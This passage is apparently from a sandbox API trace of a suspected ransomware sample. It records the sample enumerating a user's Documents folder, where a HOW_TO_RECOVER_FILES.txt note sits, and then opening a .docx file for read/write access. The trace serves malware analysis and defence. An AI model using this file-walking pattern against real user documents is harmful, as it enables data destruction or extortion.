nFileSizeLow=0x71e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="xX3nr SEB6E.xlsx", cAlternateFileName="XX3NRS~1.XLS")) returned 1 [0232.504] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90576c40, ftCreationTime.dwHighDateTime=0x1d4caca, ftLastAccessTime.dwLowDateTime=0x8af1ac10, ftLastAccessTime.dwHighDateTime=0x1d4d377, ftLastWriteTime.dwLowDateTime=0x8af1ac10, ftLastWriteTime.dwHighDateTime=0x1d4d377, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_-nH", cAlternateFileName="")) returned 1 [0232.504] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90576c40, ftCreationTime.dwHighDateTime=0x1d4caca, ftLastAccessTime.dwLowDateTime=0x8af1ac10, ftLastAccessTime.dwHighDateTime=0x1d4d377, ftLastWriteTime.dwLowDateTime=0x8af1ac10, ftLastWriteTime.dwHighDateTime=0x1d4d377, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_-nH", cAlternateFileName="")) returned 0 [0232.504] FindClose (in: hFindFile=0x134aec0 | out: hFindFile=0x134aec0) returned 1 [0232.505] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0232.505] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0232.505] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0232.505] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents", lpFilePart=0x0) returned 0x19 [0232.505] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x5a5b6a5b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x5a5b6a5b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ab00 [0232.505] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x5a5b6a5b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x5a5b6a5b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.505] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8e59d0, ftCreationTime.dwHighDateTime=0x1d54f3f, ftLastAccessTime.dwLowDateTime=0xcb1c3d10, ftLastAccessTime.dwHighDateTime=0x1d5c169, ftLastWriteTime.dwLowDateTime=0xcb1c3d10, ftLastWriteTime.dwHighDateTime=0x1d5c169, nFileSizeHigh=0x0, nFileSizeLow=0x16930, dwReserved0=0x0, dwReserved1=0x0, cFileName="-_vfjFV9lDa.docx", cAlternateFileName="-_VFJF~1.DOC")) returned 1 [0232.505] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c38bf60, ftCreationTime.dwHighDateTime=0x1d4d2e5, ftLastAccessTime.dwLowDateTime=0xfe8707b0, ftLastAccessTime.dwHighDateTime=0x1d4cebd, ftLastWriteTime.dwLowDateTime=0xfe8707b0, ftLastWriteTime.dwHighDateTime=0x1d4cebd, nFileSizeHigh=0x0, nFileSizeLow=0x187d, dwReserved0=0x0, dwReserved1=0x0, cFileName="0s-K6KCl_.doc", cAlternateFileName="0S-K6K~1.DOC")) returned 1 [0232.505] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d499b60, ftCreationTime.dwHighDateTime=0x1d4ca4d, ftLastAccessTime.dwLowDateTime=0xf9a24c00, ftLastAccessTime.dwHighDateTime=0x1d4d304, ftLastWriteTime.dwLowDateTime=0xf9a24c00, ftLastWriteTime.dwHighDateTime=0x1d4d304, nFileSizeHigh=0x0, nFileSizeLow=0x13ccc, dwReserved0=0x0, dwReserved1=0x0, cFileName="20weaz6sA.ots", cAlternateFileName="20WEAZ~1.OTS")) returned 1 [0232.506] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3528e490, ftCreationTime.dwHighDateTime=0x1d4d36f, ftLastAccessTime.dwLowDateTime=0x40663660, ftLastAccessTime.dwHighDateTime=0x1d4d0b7, ftLastWriteTime.dwLowDateTime=0x40663660, ftLastWriteTime.dwHighDateTime=0x1d4d0b7, nFileSizeHigh=0x0, nFileSizeLow=0xd0e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="4xMLA.pdf", cAlternateFileName="")) returned 1 [0232.506] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4ceeab0, ftCreationTime.dwHighDateTime=0x1d4ca2d, ftLastAccessTime.dwLowDateTime=0xb18b6250, ftLastAccessTime.dwHighDateTime=0x1d4cb6e, ftLastWriteTime.dwLowDateTime=0xb18b6250, ftLastWriteTime.dwHighDateTime=0x1d4cb6e, nFileSizeHigh=0x0, nFileSizeLow=0x17158, dwReserved0=0x0, dwReserved1=0x0, cFileName="5sK9P2CRAeD.ots", cAlternateFileName="5SK9P2~1.OTS")) returned 1 [0232.506] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20edde10, ftCreationTime.dwHighDateTime=0x1d54677, ftLastAccessTime.dwLowDateTime=0x677c5400, ftLastAccessTime.dwHighDateTime=0x1d56b4e, ftLastWriteTime.dwLowDateTime=0x677c5400, ftLastWriteTime.dwHighDateTime=0x1d56b4e, nFileSizeHigh=0x0, nFileSizeLow=0x7687, dwReserved0=0x0, dwReserved1=0x0, cFileName="auvuHHNza97v.pptx", cAlternateFileName="AUVUHH~1.PPT")) returned 1 [0232.506] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb9507b0, ftCreationTime.dwHighDateTime=0x1d563c0, ftLastAccessTime.dwLowDateTime=0x551c2a0, ftLastAccessTime.dwHighDateTime=0x1d57cca, ftLastWriteTime.dwLowDateTime=0x551c2a0, ftLastWriteTime.dwHighDateTime=0x1d57cca, nFileSizeHigh=0x0, nFileSizeLow=0x100bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="bgCEQ.pptx", cAlternateFileName="BGCEQ~1.PPT")) returned 1 [0232.506] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3340555c, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x3396299d, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x9daec75b, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x55000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Database1.accdb", cAlternateFileName="DATABA~1.ACC")) returned 1 [0232.506] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ed8940, ftCreationTime.dwHighDateTime=0x1d4cc63, ftLastAccessTime.dwLowDateTime=0x784f660, ftLastAccessTime.dwHighDateTime=0x1d4ceaf, ftLastWriteTime.dwLowDateTime=0x784f660, ftLastWriteTime.dwHighDateTime=0x1d4ceaf, nFileSizeHigh=0x0, nFileSizeLow=0x4fe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="dbVA6 2sO.odp", cAlternateFileName="DBVA62~1.ODP")) returned 1 [0232.507] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x440c5760, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x440c5760, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce494f1d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0232.507] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56c222d0, ftCreationTime.dwHighDateTime=0x1d4d5d9, ftLastAccessTime.dwLowDateTime=0x1a59b190, ftLastAccessTime.dwHighDateTime=0x1d4c6d0, ftLastWriteTime.dwLowDateTime=0x1a59b190, ftLastWriteTime.dwHighDateTime=0x1d4c6d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ef1p127p", cAlternateFileName="")) returned 1 [0232.507] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x303cebc0, ftCreationTime.dwHighDateTime=0x1d55c22, ftLastAccessTime.dwLowDateTime=0xa7696d10, ftLastAccessTime.dwHighDateTime=0x1d55806, ftLastWriteTime.dwLowDateTime=0xa7696d10, ftLastWriteTime.dwHighDateTime=0x1d55806, nFileSizeHigh=0x0, nFileSizeLow=0x18a21, dwReserved0=0x0, dwReserved1=0x0, cFileName="F678Oadvi5.docx", cAlternateFileName="F678OA~1.DOC")) returned 1 [0232.507] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9f12b0, ftCreationTime.dwHighDateTime=0x1d4ce18, ftLastAccessTime.dwLowDateTime=0x3a74dd90, ftLastAccessTime.dwHighDateTime=0x1d4c614, ftLastWriteTime.dwLowDateTime=0x3a74dd90, ftLastWriteTime.dwHighDateTime=0x1d4c614, nFileSizeHigh=0x0, nFileSizeLow=0xc119, dwReserved0=0x0, dwReserved1=0x0, cFileName="F6z7jeB_KBEPlZFT.docx", cAlternateFileName="F6Z7JE~1.DOC")) returned 1 [0232.507] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9494480, ftCreationTime.dwHighDateTime=0x1d4ca2e, ftLastAccessTime.dwLowDateTime=0x6fd5bcb0, ftLastAccessTime.dwHighDateTime=0x1d4d48e, ftLastWriteTime.dwLowDateTime=0x6fd5bcb0, ftLastWriteTime.dwHighDateTime=0x1d4d48e, nFileSizeHigh=0x0, nFileSizeLow=0x26c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="GsuP3Tb_tM5w.pdf", cAlternateFileName="GSUP3T~1.PDF")) returned 1 [0232.507] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a5b6a5b, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x5a5b6a5b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x5a5b6a5b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0232.508] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda722f00, ftCreationTime.dwHighDateTime=0x1d574b0, ftLastAccessTime.dwLowDateTime=0xa64e2730, ftLastAccessTime.dwHighDateTime=0x1d56379, ftLastWriteTime.dwLowDateTime=0xa64e2730, ftLastWriteTime.dwHighDateTime=0x1d56379, nFileSizeHigh=0x0, nFileSizeLow=0xf641, dwReserved0=0x0, dwReserved1=0x0, cFileName="izlC.xlsx", cAlternateFileName="IZLC~1.XLS")) returned 1 [0232.508] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3658d60, ftCreationTime.dwHighDateTime=0x1d53f75, ftLastAccessTime.dwLowDateTime=0xa65714a0, ftLastAccessTime.dwHighDateTime=0x1d56c3c, ftLastWriteTime.dwLowDateTime=0xa65714a0, ftLastWriteTime.dwHighDateTime=0x1d56c3c, nFileSizeHigh=0x0, nFileSizeLow=0x95d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="JNeid.xlsx", cAlternateFileName="JNEID~1.XLS")) returned 1 [0232.508] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45469750, ftCreationTime.dwHighDateTime=0x1d5512d, ftLastAccessTime.dwLowDateTime=0x100403d0, ftLastAccessTime.dwHighDateTime=0x1d54880, ftLastWriteTime.dwLowDateTime=0x100403d0, ftLastWriteTime.dwHighDateTime=0x1d54880, nFileSizeHigh=0x0, nFileSizeLow=0xaf47, dwReserved0=0x0, dwReserved1=0x0, cFileName="k0pIB.xlsx", cAlternateFileName="K0PIB~1.XLS")) returned 1 [0232.508] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a888c00, ftCreationTime.dwHighDateTime=0x1d551b9, ftLastAccessTime.dwLowDateTime=0xe708dcf0, ftLastAccessTime.dwHighDateTime=0x1d54940, ftLastWriteTime.dwLowDateTime=0xe708dcf0, ftLastWriteTime.dwHighDateTime=0x1d54940, nFileSizeHigh=0x0, nFileSizeLow=0x1140b, dwReserved0=0x0, dwReserved1=0x0, cFileName="kNxusNg8DwPBu.xlsx", cAlternateFileName="KNXUSN~1.XLS")) returned 1 [0232.508] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0232.508] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0232.509] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc1a0f60e, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1bc4716, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc1bc4716, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1 [0232.509] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0232.509] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf34de380, ftCreationTime.dwHighDateTime=0x1d5c347, ftLastAccessTime.dwLowDateTime=0x5ff7b2d0, ftLastAccessTime.dwHighDateTime=0x1d59fea, ftLastWriteTime.dwLowDateTime=0x5ff7b2d0, ftLastWriteTime.dwHighDateTime=0x1d59fea, nFileSizeHigh=0x0, nFileSizeLow=0xe375, dwReserved0=0x0, dwReserved1=0x0, cFileName="O-iIEH-JxmiDqnH6.docx", cAlternateFileName="O-IIEH~1.DOC")) returned 1 [0232.509] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa73182d0, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xa87f514a, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xddc1fe1e, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1 [0232.509] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74fe1c70, ftCreationTime.dwHighDateTime=0x1d56505, ftLastAccessTime.dwLowDateTime=0x6bc38480, ftLastAccessTime.dwHighDateTime=0x1d59e9c, ftLastWriteTime.dwLowDateTime=0x6bc38480, ftLastWriteTime.dwHighDateTime=0x1d59e9c, nFileSizeHigh=0x0, nFileSizeLow=0xf215, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pm OYQI6jWL.pptx", cAlternateFileName="PMOYQI~1.PPT")) returned 1 [0232.510] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x491030f0, ftCreationTime.dwHighDateTime=0x1d4cb7f, ftLastAccessTime.dwLowDateTime=0xf06563d0, ftLastAccessTime.dwHighDateTime=0x1d4d137, ftLastWriteTime.dwLowDateTime=0xf06563d0, ftLastWriteTime.dwHighDateTime=0x1d4d137, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SloU6Jo", cAlternateFileName="")) returned 1 [0232.510] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe80f780, ftCreationTime.dwHighDateTime=0x1d5951e, ftLastAccessTime.dwLowDateTime=0x59157970, ftLastAccessTime.dwHighDateTime=0x1d58e38, ftLastWriteTime.dwLowDateTime=0x59157970, ftLastWriteTime.dwHighDateTime=0x1d58e38, nFileSizeHigh=0x0, nFileSizeLow=0xc84c, dwReserved0=0x0, dwReserved1=0x0, cFileName="T4CKknaWyJ19EuCoS.pptx", cAlternateFileName="T4CKKN~1.PPT")) returned 1 [0232.510] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c641f40, ftCreationTime.dwHighDateTime=0x1d5bb4f, ftLastAccessTime.dwLowDateTime=0xd283be00, ftLastAccessTime.dwHighDateTime=0x1d566e9, ftLastWriteTime.dwLowDateTime=0xd283be00, ftLastWriteTime.dwHighDateTime=0x1d566e9, nFileSizeHigh=0x0, nFileSizeLow=0x759a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UVflxn.docx", cAlternateFileName="UVFLXN~1.DOC")) returned 1 [0232.510] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b458ed0, ftCreationTime.dwHighDateTime=0x1d5bbd0, ftLastAccessTime.dwLowDateTime=0xaa6579f0, ftLastAccessTime.dwHighDateTime=0x1d55ac2, ftLastWriteTime.dwLowDateTime=0xaa6579f0, ftLastWriteTime.dwHighDateTime=0x1d55ac2, nFileSizeHigh=0x0, nFileSizeLow=0x7ea9, dwReserved0=0x0, dwReserved1=0x0, cFileName="vqjN.pptx", cAlternateFileName="VQJN~1.PPT")) returned 1 [0232.510] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35c63bb0, ftCreationTime.dwHighDateTime=0x1d5c161, ftLastAccessTime.dwLowDateTime=0x59f640b0, ftLastAccessTime.dwHighDateTime=0x1d570e5, ftLastWriteTime.dwLowDateTime=0x59f640b0, ftLastWriteTime.dwHighDateTime=0x1d570e5, nFileSizeHigh=0x0, nFileSizeLow=0x123f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="w-zRY2q5kxHj.docx", cAlternateFileName="W-ZRY2~1.DOC")) returned 1 [0232.510] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3bce5b0, ftCreationTime.dwHighDateTime=0x1d4d59d, ftLastAccessTime.dwLowDateTime=0x78658570, ftLastAccessTime.dwHighDateTime=0x1d4c838, ftLastWriteTime.dwLowDateTime=0x78658570, ftLastWriteTime.dwHighDateTime=0x1d4c838, nFileSizeHigh=0x0, nFileSizeLow=0xcdd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="X5tFE.docx", cAlternateFileName="X5TFE~1.DOC")) returned 1 [0232.510] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd9ce280, ftCreationTime.dwHighDateTime=0x1d54b03, ftLastAccessTime.dwLowDateTime=0x82b74880, ftLastAccessTime.dwHighDateTime=0x1d5b282, ftLastWriteTime.dwLowDateTime=0x82b74880, ftLastWriteTime.dwHighDateTime=0x1d5b282, nFileSizeHigh=0x0, nFileSizeLow=0x71e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="xX3nr SEB6E.xlsx", cAlternateFileName="XX3NRS~1.XLS")) returned 1 [0232.511] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90576c40, ftCreationTime.dwHighDateTime=0x1d4caca, ftLastAccessTime.dwLowDateTime=0x8af1ac10, ftLastAccessTime.dwHighDateTime=0x1d4d377, ftLastWriteTime.dwLowDateTime=0x8af1ac10, ftLastWriteTime.dwHighDateTime=0x1d4d377, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_-nH", cAlternateFileName="")) returned 1 [0232.511] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0232.511] FindClose (in: hFindFile=0x134ab00 | out: hFindFile=0x134ab00) returned 1 [0232.511] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0232.511] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0232.511] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\-_vfjFV9lDa.docx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\-_vfjFV9lDa.docx", lpFilePart=0x0) returned 0x2a [0232.511] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0232.511] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\-_vfjFV9lDa.docx" (normalized: "c:\\users\\fd1hvy\\documents\\-_vfjfv9lda.docx"), fInfoLevelId=0x0, lpFileInformation=0x385e9a8 | out: lpFileInformation=0x385e9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8e59d0, ftCreationTime.dwHighDateTime=0x1d54f3f, ftLastAccessTime.dwLowDateTime=0xcb1c3d10, ftLastAccessTime.dwHighDateTime=0x1d5c169, ftLastWriteTime.dwLowDateTime=0xcb1c3d10, ftLastWriteTime.dwHighDateTime=0x1d5c169, nFileSizeHigh=0x0, nFileSizeLow=0x16930)) returned 1 [0232.511] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0232.511] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\-_vfjFV9lDa.docx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\-_vfjFV9lDa.docx", lpFilePart=0x0) returned 0x2a [0232.511] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0232.511] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\-_vfjFV9lDa.docx" (normalized: "c:\\users\\fd1hvy\\documents\\-_vfjfv9lda.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0232.512] GetFileType (hFile=0x864) returned 0x1 [0232.512] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0232.512] GetFileType (hFile=0x864) returned 0x1 [0232.512] SetFilePointer (in: hFile=0x864, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0232.512] ReadFile (in: hFile=0x864, lpBuffer=0x385ed60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x385ed60*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0232.513] CloseHandle (hObject=0x864) returned 1 